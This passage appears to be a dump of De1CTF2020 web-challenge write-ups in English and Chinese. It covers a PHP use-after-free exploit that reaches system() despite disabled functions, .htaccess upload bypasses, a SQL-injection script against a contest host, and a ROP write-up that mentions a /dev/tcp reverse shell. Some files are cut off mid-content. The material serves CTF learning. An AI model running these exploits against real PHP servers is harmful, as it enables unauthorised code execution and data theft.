if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 42 | $backtrace = debug_backtrace(); 43 | } 44 | } 45 | } 46 | class Helper { 47 | public $a, $b, $c, $d; 48 | } 49 | function str2int($str) { 50 | $address = 0; 51 | $address |= ord($str[4]); 52 | $address <<= 8; 53 | $address |= ord($str[5]); 54 | $address <<= 8; 55 | $address |= ord($str[6]); 56 | $address <<= 8; 57 | $address |= ord($str[7]); 58 | return $address; 59 | } 60 | function leak($offset) { 61 | global $abc; 62 | return strrev(substr($abc, $offset, 8)); 63 | } 64 | function leakA($offset) { 65 | global $helper; 66 | return strrev(substr($helper -> a, $offset, 8)); 67 | } 68 | function write($offset, $data) { 69 | global $abc; 70 | $abc[$offset] = $data[7]; 71 | $abc[$offset + 1] = $data[6]; 72 | $abc[$offset + 2] = $data[5]; 73 | $abc[$offset + 3] = $data[4]; 74 | $abc[$offset + 4] = $data[3]; 75 | $abc[$offset + 5] = $data[2]; 76 | $abc[$offset + 6] = $data[1]; 77 | $abc[$offset + 7] = $data[0]; 78 | } 79 | function trigger_uaf($arg) { 80 | $arg = str_repeat('A', 79); 81 | $vuln = new Vuln(); 82 | $vuln -> a = $arg; 83 | } 84 | # UAF 85 | trigger_uaf('x'); 86 | $abc = $backtrace[1]['args'][0]; 87 | $helper = new Helper; 88 | $helper -> b = function ($x) { }; 89 | # leak head point of next php heap 90 | $php_heap = leak(0x88); 91 | echo "PHP Heap: " . bin2hex($php_heap) . "\n"; 92 | $abc_address = str2int($php_heap) - 0x88 - 0xa0; 93 | echo '$abc: ' . dechex($abc_address) . "\n"; 94 | $closure_object = leak(0x20); 95 | echo "Closure Object: " . bin2hex($closure_object) . "\n"; 96 | # let a point to closure_object 97 | write(0x10, substr($php_heap, 0, 4) . hex2bin(dechex(str2int($closure_object) - 0x28))); 98 | write(0x18, str_pad("\x06", 8, "\x00", STR_PAD_LEFT)); 99 | # leak Closure Handlers 100 | $closure_handlers = leakA(0x28); 101 | echo "Closure Handlers: " . bin2hex($closure_handlers) . "\n"; 102 | # compute system address 103 | $system_address = dechex(str2int($closure_handlers) - 10733946); 104 | echo "System: " . $system_address . "\n"; 105 | # build fake closure_object 106 | write(0x90, leakA(0x10)); 107 | write(0x90 + 0x08, leakA(0x18)); 108 | write(0x90 + 0x10, leakA(0x20)); 109 | write(0x90 + 0x18, leakA(0x28)); 110 | $abc[0x90 + 0x38] = "\x01"; 111 | write(0x90 + 0x68, substr($php_heap, 0, 4) . hex2bin($system_address)); 112 | # let b get this object 113 | write(0x20, substr($php_heap, 0, 4) . hex2bin(dechex(str2int($php_heap) + 0x08 - 0xa0))); 114 | # eval system 115 | ($helper -> b)($cmd); 116 | exit(); 117 | } 118 | ``` 119 | 120 | -------------------------------------------------------------------------------- /writeup/web/Easy PHP-UAF/README_zh.md: -------------------------------------------------------------------------------- 1 | [中文](./README_zh.md) [English](./README.md) 2 | 3 | [docker](./PHP-UAF.tar.gz) 4 | 5 | # Easy PHP UAF 题解 6 | 7 | ## 题解: 8 | 题目基于一个公开exp:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php ,它利用了debug_backtrace函数的bug来实现一个UAF漏洞。通过这个漏洞,我们可以读写PHP内存。 9 | 10 | 要解出这道题,需要一些PHP底层相关的知识和一点点Pwn相关的思想。 11 | 12 | 为了加大题目的难度,我加了一些料: 13 | 14 | 1. 在词法分析里面ban掉了循环结构 15 | 2. 在扩展里面限制了函数执行深度 16 | 3. 在php.ini里面ban掉了strlen,需要用别的方式泄露内存 17 | 18 | 如果用gdb调试并弄懂原本的exp的原理,这道题目其实非常简单: 19 | 20 | 1. UAF,可以直接用原exp里面的 21 | 2. 泄露下一个PHP堆块的头指针,用于计算$helper和$abc的存放地址 22 | 3. 泄露Closure Object的存放地址 23 | 4. 改写$helper->a,将它伪造成一个指向Closure Object的字符串 24 | 5. 从Closure Object里面泄露出Closure Handlers的地址,然后计算system的地址 25 | 6. 将需要用到的Closure Object数据复制到下一个PHP堆块上面,将它的internal_function.handler改写成system地址,然后改写$helper->b,让它指向这个假的Closure Object 26 | 7. 执行$helper->b来执行system 27 | 28 | 29 | ## Exp: 30 | ```php 31 | pwn("/readflag"); 32 | 33 | function pwn($cmd) { 34 | global $abc, $helper, $backtrace; 35 | class Vuln { 36 | public $a; 37 | public function __destruct() { 38 | global $backtrace; 39 | unset($this -> a); 40 | $backtrace = (new Exception) -> getTrace(); # ;) 41 | if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 42 | $backtrace = debug_backtrace(); 43 | } 44 | } 45 | } 46 | class Helper { 47 | public $a, $b, $c, $d; 48 | } 49 | function str2int($str) { 50 | $address = 0; 51 | $address |= ord($str[4]); 52 | $address <<= 8; 53 | $address |= ord($str[5]); 54 | $address <<= 8; 55 | $address |= ord($str[6]); 56 | $address <<= 8; 57 | $address |= ord($str[7]); 58 | return $address; 59 | } 60 | function leak($offset) { 61 | global $abc; 62 | return strrev(substr($abc, $offset, 8)); 63 | } 64 | function leakA($offset) { 65 | global $helper; 66 | return strrev(substr($helper -> a, $offset, 8)); 67 | } 68 | function write($offset, $data) { 69 | global $abc; 70 | $abc[$offset] = $data[7]; 71 | $abc[$offset + 1] = $data[6]; 72 | $abc[$offset + 2] = $data[5]; 73 | $abc[$offset + 3] = $data[4]; 74 | $abc[$offset + 4] = $data[3]; 75 | $abc[$offset + 5] = $data[2]; 76 | $abc[$offset + 6] = $data[1]; 77 | $abc[$offset + 7] = $data[0]; 78 | } 79 | function trigger_uaf($arg) { 80 | $arg = str_repeat('A', 79); 81 | $vuln = new Vuln(); 82 | $vuln -> a = $arg; 83 | } 84 | # UAF 85 | trigger_uaf('x'); 86 | $abc = $backtrace[1]['args'][0]; 87 | $helper = new Helper; 88 | $helper -> b = function ($x) { }; 89 | # leak head point of next php heap 90 | $php_heap = leak(0x88); 91 | echo "PHP Heap: " . bin2hex($php_heap) . "\n"; 92 | $abc_address = str2int($php_heap) - 0x88 - 0xa0; 93 | echo '$abc: ' . dechex($abc_address) . "\n"; 94 | $closure_object = leak(0x20); 95 | echo "Closure Object: " . bin2hex($closure_object) . "\n"; 96 | # let a point to closure_object 97 | write(0x10, substr($php_heap, 0, 4) . hex2bin(dechex(str2int($closure_object) - 0x28))); 98 | write(0x18, str_pad("\x06", 8, "\x00", STR_PAD_LEFT)); 99 | # leak Closure Handlers 100 | $closure_handlers = leakA(0x28); 101 | echo "Closure Handlers: " . bin2hex($closure_handlers) . "\n"; 102 | # compute system address 103 | $system_address = dechex(str2int($closure_handlers) - 10733946); 104 | echo "System: " . $system_address . "\n"; 105 | # build fake closure_object 106 | write(0x90, leakA(0x10)); 107 | write(0x90 + 0x08, leakA(0x18)); 108 | write(0x90 + 0x10, leakA(0x20)); 109 | write(0x90 + 0x18, leakA(0x28)); 110 | $abc[0x90 + 0x38] = "\x01"; 111 | write(0x90 + 0x68, substr($php_heap, 0, 4) . hex2bin($system_address)); 112 | # let b get this object 113 | write(0x20, substr($php_heap, 0, 4) . hex2bin(dechex(str2int($php_heap) + 0x08 - 0xa0))); 114 | # eval system 115 | ($helper -> b)($cmd); 116 | exit(); 117 | } 118 | ``` 119 | 120 | -------------------------------------------------------------------------------- /writeup/web/Easy PHP-UAF/source/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.3' 2 | services: 3 | php: 4 | image: php:7.4.2-apache 5 | pids_limit: 12233 6 | ports: 7 | - "8848:80" 8 | volumes: 9 | - ./www:/var/www/html 10 | - ./mpm_prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf 11 | - ./libphp7.so:/usr/lib/apache2/modules/libphp7.so 12 | - ./evalfilter.so:/usr/local/lib/php/extensions/debug-non-zts-20190902/evalfilter.so 13 | - ./php.ini:/usr/local/php/etc/php.ini 14 | - ./flag:/flag 15 | - ./readflag:/readflag 16 | -------------------------------------------------------------------------------- /writeup/web/Easy PHP-UAF/source/evalfilter.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/web/Easy PHP-UAF/source/evalfilter.so -------------------------------------------------------------------------------- /writeup/web/Easy PHP-UAF/source/flag: -------------------------------------------------------------------------------- 1 | De1CTF{php-UAF_1s_s0_easy!} 2 | -------------------------------------------------------------------------------- /writeup/web/Easy PHP-UAF/source/libphp7.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/web/Easy PHP-UAF/source/libphp7.so -------------------------------------------------------------------------------- /writeup/web/Easy PHP-UAF/source/mpm_prefork.conf: -------------------------------------------------------------------------------- 1 | # prefork MPM 2 | # StartServers: number of server processes to start 3 | # MinSpareServers: minimum number of server processes which are kept spare 4 | # MaxSpareServers: maximum number of server processes which are kept spare 5 | # MaxRequestWorkers: maximum number of server processes allowed to start 6 | # MaxConnectionsPerChild: maximum number of requests a server process serves 7 | 8 | 9 | StartServers 5 10 | MinSpareServers 5 11 | MaxSpareServers 10 12 | MaxRequestWorkers 150 13 | MaxConnectionsPerChild 0 14 | MaxRequestsPerChild 1 15 | 16 | 17 | # vim: syntax=apache ts=4 sw=4 sts=4 sr noet 18 | -------------------------------------------------------------------------------- /writeup/web/Easy PHP-UAF/source/php.ini: -------------------------------------------------------------------------------- 1 | disable_functions=passthru,popen,mail,imap_open,putenv,ini_set,pcntl_exec,apache_setenv,exec,system,link,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen,strlen,error_log,assert,sleep 2 | extension=evalfilter.so 3 | -------------------------------------------------------------------------------- /writeup/web/Easy PHP-UAF/source/readflag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/web/Easy PHP-UAF/source/readflag -------------------------------------------------------------------------------- /writeup/web/Easy PHP-UAF/source/restart.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | /usr/local/bin/docker-compose down 3 | /usr/local/bin/docker-compose up -d 4 | -------------------------------------------------------------------------------- /writeup/web/Easy PHP-UAF/source/www/index.php: -------------------------------------------------------------------------------- 1 | |rm|ryby|openssl|war|lua|msf|xter|telnet/ 12 | ``` 13 | **Expected solution** 14 | 15 | .htaccess: 16 | ``` 17 | AddHandler cgi-script .xx 18 | ``` 19 | 1.xx: 20 | ```bash 21 | #! /bin/bash 22 | 23 | echo Content-type: text/html 24 | 25 | echo "" 26 | 27 | cat /flag 28 | ``` 29 | After uploading the file, we found that the status code was 500 and we could not parse the bash file, because our target site was a Linux environment. If we wrote it with the local (windows or other)editor and the encoding format was not consistent with that when uploading, we could not parse it, so we could write it in the Linux environment, export and upload it. 30 | 31 | **Unexpected solution 1** 32 | 33 | .htaccess: 34 | ``` 35 | AddType application/x-httpd-p\ 36 | hp .xx 37 | ``` 38 | 1.xx 39 | ```php 40 | |rm|ryby|openssl|war|lua|msf|xter|telnet/ 64 | ``` 65 | **预期解** 66 | 67 | .htaccess: 68 | ``` 69 | Options +ExecCGI 70 | AddHandler cgi-script .xx 71 | ``` 72 | 1.xx: 73 | ```bash 74 | #! /bin/bash 75 | 76 | echo Content-type: text/html 77 | 78 | echo "" 79 | 80 | cat /flag 81 | ``` 82 | 注:这里讲下一个小坑,linux中cgi比较严格(2333333) 83 | 上传后发现状态码500,无法解析我们bash文件。因为我们的目标站点是linux环境,如果我们用(windows等)本地编辑器编写上传时编码不一致导致无法解析,所以我们可以在linux环境中编写并导出再上传。 84 | 85 | **非预期解 1** 86 | 87 | 惨痛的教训 !!! 88 | 出题时坑有点多,所以忘记了[2019xnuca中的ezphp](https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/Ezphp),所以许多师傅就利用`\`绕过了waf! (wtclll!!) 89 | .htaccess: 90 | ``` 91 | AddType application/x-httpd-p\ 92 | hp .xx 93 | ``` 94 | 1.xx 95 | ```php 96 | prompt, guessing that there is orderby injection. After a simple attempt, I found that when orderby = | 2, the displayed page is different. The injection script is as follows 6 | 7 | ```python 8 | import requests 9 | 10 | url = "http://49.51.251.99/index.php" 11 | data = { 12 | "username":"xxxxx", 13 | "password":"xxxxxxx", 14 | "submit":"submit" 15 | } 16 | cookie ={ 17 | "PHPSESSID": "sou26piclav6f99h79k1l5vmbn" 18 | } 19 | requests.post(url,data=data,cookies=cookie) 20 | flag='' 21 | url="http://49.51.251.99/member.php?orderby=" 22 | for i in range(1,33): 23 | for j in '0123456789abcdefghijklmnopqrstuvwxyz,': 24 | payload="|(mid((select password from member),{},1)='{}')%2b1".format(i,j) 25 | true_url=url+payload 26 | r=requests.get(true_url,cookies=cookie) 27 | if r.content.index('tom')This.u2.next, "s", ¶meter, &length) != -1 ) 60 | { 61 | memcpy(path, parameter, length); 62 | php_printf("%s", path); 63 | php_printf("
"); 64 | fp = fopen(path, "rb"); 65 | if ( fp ) 66 | { 67 | while ( !feof(fp) ) 68 | { 69 | v3 = fgetc(fp); 70 | php_printf("%c", v3); 71 | } 72 | php_printf("\n"); 73 | } 74 | else 75 | { 76 | php_printf("no file\n"); 77 | } 78 | v4.lval = zend_strpprintf(0LL, "True"); 79 | return_value->value = v4; 80 | return_value->u1.type_info = (*(_BYTE *)(v4.lval + 5) & 2u) < 1 ? 5126 : 6; 81 | } 82 | } 83 | ``` 84 | 85 | The function is very simple. `end_parse_parrmeters`will parse the parameters, the "s" specifies the type of the parameters is a string. 86 | 87 | Then copy the parameter into a variable on the stack. The length may bigger than path buffer size which may lead to stack overflow, and you can call `system` to reverse a shell. 88 | 89 | v9 under the `path` stores the address of the `path`, which is used to simplify the exploit. You can leak this address easily. 90 | 91 | This function's purpose is to read any file and print on the website, so you can read /proc/self/maps and get the address of libc, and then you can ROP. 92 | 93 | When the function returns, the stack will be balanced. When the function returns, the stack will be balanced. Later, when fork is called in the system function, the content below rsp will not be copied. So you shouldn't write the string here, but after the return address. 94 | 95 | I don't know why `/bin/bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/XXXX 0>&1` can't reverse a shell, you can do other way. 96 | 97 | Notice that the address of the `path` is smaller than `rsp` when return, and next call `system` may cover it, so you should put your command behind. 98 | 99 | ```python 100 | #!/usr/bin/python3 101 | from pwn import * 102 | import requests 103 | import urllib 104 | import struct 105 | 106 | url = "http://134.175.185.244/select.php" 107 | url = "http://49.51.251.99/select.php" 108 | data = { 109 | "username":"admin", 110 | "password":"goodlucktoyou", 111 | "submit":"submit" 112 | } 113 | cookie ={ 114 | "PHPSESSID": "p51gfmno1tv687igcc1ndq14vh" 115 | } 116 | res = requests.post(url,data=data,cookies=cookie) 117 | print(res.status_code) 118 | data = { 119 | 'search':"a"*100, 120 | 'submit':"submit" 121 | } 122 | 123 | res = requests.post(url,data=data,cookies=cookie) 124 | print(res.content) 125 | res = res.content.split(b'a'*100)[1] 126 | stack = res[0:6]+b'\x00\x00' 127 | stack = struct.unpack(' De1CTF{47ae3396-f5ce-47ab-bb64-34b5154064c4} 162 | 163 | -------------------------------------------------------------------------------- /writeup/web/mixtrue/readme_zh.md: -------------------------------------------------------------------------------- 1 | [中文](./readme_zh.md) | [English](./readme.md) 2 | 3 | # mixture 4 | 5 | 登陆进去之后发现member.php有\